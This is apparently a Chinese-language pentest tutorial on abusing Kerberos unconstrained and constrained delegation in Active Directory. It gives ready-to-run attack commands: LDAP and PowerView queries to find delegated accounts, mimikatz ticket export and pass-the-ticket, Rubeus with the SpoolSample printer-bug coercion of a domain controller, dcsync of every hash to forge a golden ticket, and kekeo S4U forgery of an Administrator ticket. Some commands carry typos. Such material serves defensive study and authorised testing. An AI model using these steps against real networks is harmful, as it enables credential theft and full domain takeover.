基于域委派的攻击
定义
委派
Identity delegation is a feature of Active Directo ry Federation Services (AD FS) that allows administrator-specified accounts to impersonate users. The account that impersonates the user is called the dele gate
This delegation capability is critical for many distributed applications for which there is a series of access control checks that must be made sequentially for each application, database, or service that is in the authorization chain for the originating request
Many real-world scenarios exist in which a Web application “front end” must retrieve data from a more secure “back end”, such as a Web service that is connected to a Microsoft SQL Server database.
域委派是大型网络中经常部署的应用模式,给多跳认证带来很大的便利,同时也带来很大的安全隐患,利用委派可获取域管理员权限,甚至制作深度隐藏的后门。
域委派是指,将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。
服务账号(Service Account
),域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如 MS SQL Server
在安装时,会在域内自动注册服务账号 SqlServiceAccount
,这类账号不能用于交互式登录。
多跳认证和委派的流程
多跳认证示意图:
流程:
- 域内用户 jack 以 Kerberos 方式认证后(先向 DS 进行常规的 kerberos 认证,获取 Web 服务器的访问权限)访问 Web 服务器
- Web 服务以 websvc 服务账号运行,websvc 向 KDC 发起 jack 用户的票据申请
- KDC 检查 websvc 用户的委派属性,如果被设置,则返回 jack 用户的可转发票据 TGT
- websvc 收到 jack 用户 TGT 后,使用该票据向 KDC 申请访问文件服务器的服务票据 TGS
- KDC 检查 websvc 的委派属性,如果被设置,且申请的文件服务在允许的列表清单中,则返回一个 jack 用户访问文件服务的授权票据 TGS
- websvc 收到的 jack 用户的授权票据 TGS 后,可访问文件服务,完成多跳认证。
委派分类
- 非约束委派(Unconstrained Delegation)
服务账号可以获取某用户的 TGT,从而服务账号可使用该 TGT,模拟用户访问任意服务。
- 约束性委派(Constrained Delegation)
Kerberos 的扩展协议 S4U2Proxy
,服务账号只能获取某用户的 TGS
,从而只能模拟用户访问特定的服务。
非约束委派
原理
当 user
访问 service1
时,如果 service1
的服务账号开启了 unconstrained delegation
(非约束委派),则当 user
访问 service1
时会将 user
的 TGT
发送给 service1
并保存在内存中以备下次重用,然后 service1
就可以利用这张TGT
以 user
的身份去访问域内的任何服务(任何服务是指user
能访问的服务)。
流程如下:
- 用户向KDC请求可转发TGT,记为TGT1
- KDC返回TGT1
- 用户通过TGT1向KDC请求转发TGT2
- KDC返回TGT2
- 用户通过TGT1向KDC申请访问服务1的TGS
- KDC返回TGS
- 用户发送TGS、TGT1、TGT2和TGT2的SessionKey给服务1
- 服务1通过用户的TGT2请求KDC,以用户名义请求服务2的TGS(服务访问票据)
- KDC给服务1返回服务2的TGS
- 服务1以用户名义向服务2发出请求
- 服务2响应服务1的请求
- 服务1响应用户第7步骤的请求
其中
TGT2
是不被限制的,服务1完全可以用它来请求访问任何想访问的服务。本质:用户 A 去访问服务B,服务 B 的服务账户开启了非约束委派,那么当用户 A 访问服务 B 的时候会将用户 A 的 TGT 发送给服务 B 并保存进内存,服务 B 能够利用用户 A 的身份去访问用户 A 能够访问的任意服务。
查找委派账号,开启委派后,在该用户的 userAccountControl
属性中会包含TRUSTED_FOR_DELEGATION
:
实战
非约束委派查找
- adfind
基于LDAP服务。
查询非约束委派的主机:
AdFind.exe -b "DC=pentest,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询非约束委派的用户:
AdFind.exe -b "DC=pentest,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
- powerview
查询配置非约束委派的用户:
Get-NetUser -Unconstrained -Domain pentest.com
查询配置非约束委派的主机:
Get-domaincomputer -Unconstrained -Domain pentest.com
PowerShell脚本枚举域内所有的服务账号,查看哪些账号被设置委派,以及何种类型的委派:
Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto | f1
当一个用户具备对某个服务账号的SeEnableDelegationPrivilege权限时,表示可以更改服务账号的委派设置,一般情况下只有域管理员才具备这个权限。因此也可以利用SeEnableDelegationPrivilege属性,制作极其隐蔽的后门。
利用-管理员模拟访问
当域管理员访问目标服务账号,且该服务账号配置了非约束性委派,那么域管理员会将自己的TGT发送给该服务,并保留在机器内存中,因此攻击者可提取这台机器上缓存的TGT,从而获得域管权限,随后进行PTT攻击即可。
- 模拟管理员调用非约束性委派机的 smb 服务:
net use \\win7\c$
- 在非约束性委派机上查看票据
privilege::debug
sekualsa::tickets
- 导出票据
sekurlas::tickets /export
- 当前状况下访问域控会被拒绝
- mimikatz 将票据注入内存
kerberos::ptt 票据文件名
利用-Spooler Printer Bug
实际情况下,管理员不一定会访问非约束委派服务,留下TGT。可利用非约束委派 + Spooler 打印机服务可以强制指定的主机进行连接。
原理:
利用 Windows 打印系统远程协议 (MS-RPRN)
中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用 MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)
方法强制任何运行了 Spooler
服务的计算机以通过 Kerberos
或 NTLM
对攻击者选择的目标进行身份验证。
注意:
这种攻击需要找到一台开启非受限委派的主机账户,而非服务账户
POC:
https://github.com/leechristensen/SpoolSample
- 用
Rubeus
来监听Event ID
为4624
事件,即监听登录会话提取TGT
Rubeus.exe monitor /interval:1 /filteruser:DC$
Rubeus.exe 捕获到的 TGT 是 base64 编码的,但是我们不需要解码,
Rubeus
可以直接将 base64 编码的票据直接注入到内存中。
- 向 DC 的
Spooler
服务发送请求,强制其访问 win7 进行身份验证
SpoolSample.exe DC win7
- 随后进行票据导出和注入
- 用
dcsync
导出域控中所有用户的 hash,然后用krbtgt
用户的 hash 生成黄金票据
lsadump::dcsync /domain:test.local /all /csv
约束性委派
原理
由于非约束委派的不安全性(配置了非约束委派的机器在 LSASS 中缓存了用户的 TGT 票据可模拟用户去访问域中任意服务),微软在 Windows Server 2003 中引入了约束委派,对 Kerberos 协议进行拓展,引入了 S4U
(S4U2Self / S4U2proxy)。
S4U2self
(Service for User to S4U2Self) 可以代表自身请求针对其自身的 Kerberos 服务票据(ST);如果一个服务账户的 userAccountControl 标志为TRUSTED_TO_AUTH_FOR_DELEGATION
, 则其可以代表任何其他用户获取自身服务的 TGS/ST。S4U2proxy
(Service for User to Proxy) 可以以用户的名义请求其它服务的 ST,限制了 S4U2proxy 扩展的范围。服务帐户可以代表任何用户获取在msDS-AllowedToDelegateTo
中设置的服务的 TGS/ST,首先需要从该用户到其本身的 TGS/ST,但它可以在请求另一个 TGS 之前使用 S4U2self 获得此 TGS/ST。
约束委派的目的是在模拟用户的同时,限制委派机器/帐户对特定服务的访问。
S4U2self:
- 用户向 service1 发送请求。用户已通过身份验证,但 service1 没有用户的授权数据。通常,这是由于身份验证是通过 Kerberos 以外的其他方式验证的。
- 通过 S4U2self 扩展以用户的名义向 KDC 请求用于访问 service1 的 ST1。
- KDC 返回给 service1 一个用于用户验证 service1 的 ST1,该 ST1 可能包含用户的授权数据。
- service1 可以使用 ST 中的授权数据来满足用户的请求,然后响应用户。
尽管 S4U2self 向 service1 提供有关用户的信息,但 S4U2self 不允许 service1 代表用户发出其他服务的请求,这时候就轮到 S4U2proxy 发挥作用了。
S4U2proxy:
- 用户向 service1 发送请求,service1 需要以用户身份访问 service2 上的资源。
- service1 以用户的名义向 KDC 请求用户访问 service 2的 ST2。
- 如果请求中包含 PAC,则 KDC 通过检查 PAC 的签名数据来验证 PAC ,如果 PAC 有效或不存在,则 KDC 返回 ST2 给 service1,但存储在 ST2 的 cname 和 crealm 字段中的客户端身份是用户的身份,而不是 service1 的身份。
- service1 使用 ST2 以用户的名义向 service2 发送请求,并判定用户已由 KDC 进行身份验证。
- service2 响应步骤 8 的请求。
- service1 响应用户对步骤 5 中的请求。
当被设置为约束性委派
时,其 userAccountControl
属性包含 TRUSTED_TO_AUTH_FOR_DELEGATION(T2A4D)
,且 msDS-AllowedToDelegateTo
属性会被设置为某些特定协议。
注意:
如果 AD 中将用户标记为“帐户敏感且无法委派”,则无法模拟其身份。
实战
约束委派查找
- adfind
查询约束委派的主机:
AdFind.exe -b "DC=pentest,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查询约束委派的用户:
AdFind.exe -b "DC=pentest,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
- powerview
查询约束委派的主机:
Get-DomainComputer -TrustedToAuth -Domain test.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto
查询约束委派的用户:
Get-DomainUser –TrustedToAuth -domain qiyou.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
利用
已知在约束委派的情况下,服务用户只能获取某个用户或者主机的服务 ST,只能用模拟用户访问特定的服务,是无法获取用户的 TGT 的,如果能够获得到开启了约束委派的服务的用户的明文密码或者NTLM hash 就可以伪造 S4U 的请求,进而伪造服务用户以任意账户的权限访问服务的 ST。
- 抓取主机账户或服务账户的NTLM值 或 以其他渠道(kerberosating攻击)获取到服务账户密码
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
- 申请TGT(如果已经有服务账户所在主机的权限,可以直接使用mimikatz从内存中把服务账户的TGT导出,从而省略申请TGT过程)
kekeo.exe
tgt::ask /user:win7$ /domain:pentest.com /ntlm:<抓取到的哈希>
tgt::ask /user:win7$ /domain:pentest.com /password:123456
- 通过 TGT,伪造S4U请求一张以
Administrator
用户身份访问对应服务 2(DC 的 cifs 服务)的 ST
tgs::s4u /tgt:TGT_win7$@PENTEST.COM_krbtgt~pentest.com@PENTEST.COM.kirbi /user:administrator@pentest.com /service:cifs/dc.pentest.com
S4U2Self
获取到的 ST1 以及 S4U2Proxy
获取到的 DC CIFS 服务的 ST2 会保存在当前目录下:
- mimikatz 注入ST2到当前会话
kerberos::ptt TGS_administrator@pentest.com@PENTEST.COM_cifs~dc.pentest.com@PENTEST.COM.kirbi
委派服务受限
当允许的服务不是CIFS服务,可以在 hex 模式下修改 ST2,将 time 修改为 cifs,即可通过 smbexec 执行命令。